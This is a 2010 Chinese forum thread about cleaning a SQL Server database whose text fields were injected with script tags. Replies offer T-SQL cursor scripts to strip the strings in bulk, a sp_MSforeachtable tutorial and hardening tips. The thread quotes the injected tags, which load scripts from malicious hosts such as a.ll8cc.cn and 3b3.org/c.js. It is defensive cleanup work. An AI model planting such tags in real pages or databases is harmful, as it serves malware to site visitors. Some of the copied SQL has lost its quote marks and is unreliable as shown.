数据库字段被注入了，如何替换掉被注入的内容？

FanKe000 2010-01-26 10:25:58

被注入的信息很多都不一样,但都是在数据末尾添加的如：

净尔</title>"><script src=http</title>"><script src=http://a.ll8cc.cn></script><!--

神怡康庆</title>"><script src=</title>"><script src=http://a.ll8cc.cn></script><!--

注入的信息都是以</title>开头的 <!--这个结尾的，但是中间有的时候会不一样，我想把以这样开头的所有注入信息都清空还
原成：

净尔

神怡康庆

...全文

302 13 打赏收藏转发到动态举报

写回复

用AI写文章

13 条回复

切换为时间正序

请发表友善的回复…

发表回复

mlhy20060406 2010-03-09

打赏
举报

经典回复内容，收藏了

jnwell 2010-01-26

打赏
举报

学习...

Mr_Nice 2010-01-26

打赏
举报

[Quote=引用 1 楼 fredrickhu 的回复:]
SQL code如何最快速度删除？
"<script src=http://3b3.org/c.js></script> "---------------------------------------------------------------进入SQL查询分析器
选择你的数据库
第一步：先sql表修改所有者为dboEXEC sp_MSforeachtable'exec s?-
[/Quote]

学习...

nianran520 2010-01-26

打赏
举报



--自己把要替代的内容改改

DECLARE @T varchar(255),@C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 

select a.name,b.name from sysobjects a,syscolumns b 

where a.id=b.id and a.xtype='u' 

and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor 

FETCH NEXT FROM  Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

	exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''') where '+@C+' like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--''')

	FETCH NEXT FROM  Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

FanKe000 2010-01-26

打赏
举报

我主要是想求个批量替换指定开头结尾字符的SQL语句

mxc1225 2010-01-26

打赏
举报

DECLARE @fieldtype sysname 

SET @fieldtype='varchar' 

--删除处理 

DECLARE hCForEach CURSOR GLOBAL 

FOR 

SELECT N'update '+QUOTENAME(o.name) 

    +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ','' <script_src=http://ucmal.com/0.js> </script>'','''')' 

FROM sysobjects o,syscolumns c,systypes t 

WHERE o.id=c.id 

    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1 

    AND c.xusertype=t.xusertype 

    AND t.name=@fieldtype 

EXEC sp_MSforeach_Worker @command1=N'?'

主要是这段!

mxc1225 2010-01-26

打赏
举报

Table:  SystemObjects



1.    表SYSOBJECTS为数据库内创建的每个对象（约束，规则，表，视图，           触发器等）创建一条记录。



 2. Structure:



Columns



Meaning



Remark



SysObjects.id



Id



 



SysObjects.name



Name



Like: table name, view name



SysObjects.type



Type



p: Procedure       v: View



s: System table   u: User table



 



Table: SysColumns



表SYSCOLUMNS 为每个表、视图中的每个列和每个存储过程的每个参数创建一条记录。

Structure:

Columns



Meaning



Remark



SysColumns.id



该列所属的表的id



可与SysObjects.id相关联



SysColumns.colid



列id



表示该列是表或视图的第几列。



SysColumns.type



物理存储类型



可与SysTypes.type相关联。



SysColumns.length



数据的物理长度



 



SysColumns.name



列名字，即字段名



 



SysColumns.pre



列的精度级



 



SysColumns.scale



列的标度级



 



 



Table: SysTypes



表SYSTYPES 为每个系统和每个用户提供的数据类型创建一条记录，如果它们存在，给定域和默认值，描述系统提供的数据类型的行不可更改。

Structure:

Columns



Meaning



Remark



SysTypes.name



数据类型的名字



 



SysTypes.type 



物理存储数据类型

mxc1225 2010-01-26

打赏
举报

从SQLSERVER6.5开始,MS提供了一个非常有用的系统存储过程sp_MSforeachtable和sp_MSforeachDB;作为DBA会经常需要检查所有的数据库或用户表,比如:检查所有数据库的容量;看看指定数据库所有用户表的容量,所有表的记录数...,我们一般处理这样的问题都是用游标分别处理处理,比如:在数据库检索效率非常慢时,我们想检查数据库所有的用户表,我们就必须这样写游标:

DECLARE @TableName varchar(255)

DECLARE @ExeSQL varchar(4000)

DECLARE Table_Cursor CURSOR FOR SELECT [name] FROM sysobjects WHERE xtype=U



OPEN Table_Cursor

FETCH NEXT FROM  Table_Cursor INTO @TableName



WHILE(@@FETCH_STATUS=0)

BEGIN

 PRINT @TableName

 SELECT @ExeSQL=DBCC CHECKTABLE(+@TableName+)

 EXEC(@EXESQL)

FETCH NEXT FROM  Table_Cursor INTO @TableName

END



CLOSE Table_Cursor

DEALLOCATE Table_Cursor

GO



    如果我们用sp_MSforeachtable就可以非常方便的达到相同的目的:

EXEC sp_MSforeachtable @command1="print ? DBCC CHECKTABLE(?)"

大家可以看出这样就更加简洁(虽然在后台也是通过游标来处理的),下面我们就仔细分析一下sp_MSforeachtable这个存储过程:



我们看看sp_MSforeachtable详细的CODE:

USE MASTER 

GO

SP_HELPTEXT sp_MSforeachtable



--下面时sp_MSforeachtable的原始代码



CREATE proc sp_MSforeachtable

 @command1 nvarchar(2000), @replacechar nchar(1) = N?, @command2 nvarchar(2000) = null,

   @command3 nvarchar(2000) = null, @whereand nvarchar(2000) = null,

 @precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null

as

 /* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its



own result set */

 /* @precommand and @postcommand may be used to force a single result set via a temp table. */



 /* Preprocessor wont replace within quotes so have to use str(). */

 declare @mscat nvarchar(12)

 select @mscat = ltrim(str(convert(int, 0x0002)))



 if (@precommand is not null)

  exec(@precommand)



 /* Create the select */

   exec(Ndeclare hCForEach cursor global for select [ + REPLACE(user_name(uid), N], N]]) + ] + . + [



+ REPLACE(object_name(id), N], N]]) + ] from dbo.sysobjects o 

         + N where OBJECTPROPERTY(o.id, NIsUserTable) = 1 + N and o.category & + @mscat + N = 0 

         + @whereand)

 declare @retval int

 select @retval = @@error

 if (@retval = 0)

  exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3



 if (@retval = 0 and @postcommand is not null)

  exec(@postcommand)



 return @retval



这个系统存储过程有7个参数:

 @command1 nvarchar(2000),  --第一条运行的T-SQL指令

 @replacechar nchar(1) = N?,   --指定的占位符号 

 @command2 nvarchar(2000) = null,--第二条运行的T-SQL指令

    @command3 nvarchar(2000) = null, --第三条运行的T-SQL指令

 @whereand nvarchar(2000) = null, --可选条件来选择表

 @precommand nvarchar(2000) = null, --在表前执行的指令

 @postcommand nvarchar(2000) = null --在表后执行的指令





所以上面的语句也可以这样写:

EXEC sp_MSforeachtable @command1="print ?",

         @command2= "DBCC CHECKTABLE(?)"



了解参数以后,就让我们做几个实列吧:

1.获得每个表的记录数和容量:

EXEC sp_MSforeachtable @command1="print ?",

         @command2="sp_spaceused ?",

         @command3= "SELECT count(*) FROM ? "



2.更新PUBS数据库中已t开头的所有表的统计:

EXEC sp_MSforeachtable @whereand="and name like t%",

         @replacechar=*,

         @precommand="print Updating Statistics..... print ",

         @command1="print * update statistics * ",

         @postcommand= "printprint Complete Update Statistics!"





sp_MSforeachDB除了@whereand外,和sp_MSforeachtable的参数是一样的,我们可以通过这个存储过程检测所有的数据库,比如:

1.获得所有的数据库的存储空间:

       EXEC sp_MSforeachdb  @command1="print ?",

                                         @command2="sp_spaceused "

2.检查所有的数据库

       EXEC sp_MSforeachdb  @command1="print ?",

                                           @command2="DBCC CHECKDB (?) "



有了上面的分析,我们可以建立自己的sp_MSforeachObject:

USE MASTER

GO

CREATE proc sp_MSforeachObject

 @objectType int=1,

 @command1 nvarchar(2000), 

 @replacechar nchar(1) = N?, 

 @command2 nvarchar(2000) = null,

    @command3 nvarchar(2000) = null, 

 @whereand nvarchar(2000) = null,

 @precommand nvarchar(2000) = null, 

 @postcommand nvarchar(2000) = null

as

 /* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its



own result set */

 /* @precommand and @postcommand may be used to force a single result set via a temp table. */



 /* Preprocessor wont replace within quotes so have to use str(). */

 declare @mscat nvarchar(12)

 select @mscat = ltrim(str(convert(int, 0x0002)))



 if (@precommand is not null)

  exec(@precommand)



 /* Defined  @isobject for save object type */

 Declare @isobject varchar(256)



 select @isobject= case @objectType when 1 then IsUserTable

         when 2 then IsView

         when 3 then IsTrigger

         when 4 then IsProcedure 

         when 5 then IsDefault   

         when 6 then IsForeignKey

         when 7 then IsScalarFunction

         when 8 then IsInlineFunction

         when 9 then IsPrimaryKey

         when 10 then IsExtendedProc    

         when 11 then IsReplProc

         when 12 then IsRule

                  end



 /* Create the select */

 /* Use @isobject variable isstead of IsUserTable string */

EXEC(Ndeclare hCForEach cursor global for select [ + REPLACE(user_name(uid), N], N]]) + ] + . + [ +



REPLACE(object_name(id), N], N]]) + ] from dbo.sysobjects o 

        + N where OBJECTPROPERTY(o.id, N+@isobject+) = 1 +N and o.category & + @mscat + N = 0 

       + @whereand)



 declare @retval int

 select @retval = @@error

 if (@retval = 0)

  exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3



 if (@retval = 0 and @postcommand is not null)

  exec(@postcommand)



 return @retval



GO

这样我们来测试一下:

1.获得所有的存储过程的脚本:

         EXEc sp_MSforeachObject @command1="sp_helptext ? ",@objectType=4

2.获得所有的视图的脚本:

         EXEc sp_MSforeachObject @command1="sp_helptext ? ",@objectType=2

3.比如在开发过程中,没一个用户都是自己的OBJECT OWNER,所以在真实的数据库时都要改为DBO:

           EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=1

           EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=2

            EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=3

              EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=4

  这样就非常方便的将每一个数据库对象改为DBO.

--小F-- 2010-01-26

打赏
举报

另外请参考:
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html?84220
http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html?96607

--小F-- 2010-01-26

打赏
举报

如何最快速度删除？ 

" <script   src=http://3b3.org/c.js> </script> " 

--------------------------------------------------------------- 

进入SQL查询分析器 

选择你的数据库 

第一步：先sql表修改所有者为dbo 

EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 



第二步：统一删除字段被挂的js 

declare   @delStr   nvarchar(500)   

set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' 



set   nocount   on 



declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   

declare   @sql   nvarchar(500) 



set   @iResult=0   

declare   cur   cursor   for   

select   name,id   from   sysobjects   where   xtype= 'U ' 



open   cur   

fetch   next   from   cur   into   @tableName,@tbID 



while   @@fetch_status=0   

begin   

declare   cur1   cursor   for   

                --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   

                select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   

open   cur1   

fetch   next   from   cur1   into   @columnName   

while   @@fetch_status=0   

begin   

            set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   

            exec   sp_executesql   @sql             

            set   @iRow=@@rowcount   

            set   @iResult=@iResult+@iRow   

            if   @iRow> 0   

            begin 

print   '表： '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   

            end             

            fetch   next   from   cur1   into   @columnName 





end   

close   cur1   

deallocate   cur1   



fetch   next   from   cur   into   @tableName,@tbID   

end   

print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' 



close   cur   

deallocate   cur   

set   nocount   off 

--------------------------------------------------------------- 

彻底杜绝SQL注入 



1.不要使用sa用户连接数据库 

2、新建一个public权限数据库用户，并用这个用户访问数据库 

3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 

4、[用户]用户名称-> 右键－属性－权限－在sysobjects与syscolumns上面打“×” 

5、通过以下代码检测（失败表示权限正确，如能显示出来则表明权限太高）： 

DECLARE   @T   varchar(255), 

@C   varchar(255) 

DECLARE   Table_Cursor   CURSOR   FOR 

Select   a.name,b.name   from   sysobjects   a,syscolumns   b 

where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   

OPEN   Table_Cursor 

FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 

WHILE(@@FETCH_STATUS=0) 

BEGIN   print   @c 

FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   

END 

CLOSE   Table_Cursor 

DEALLOCATE   Table_Cursor   

--------------------------------------------------------------- 

让3b3.org   c.js注入见鬼去吧！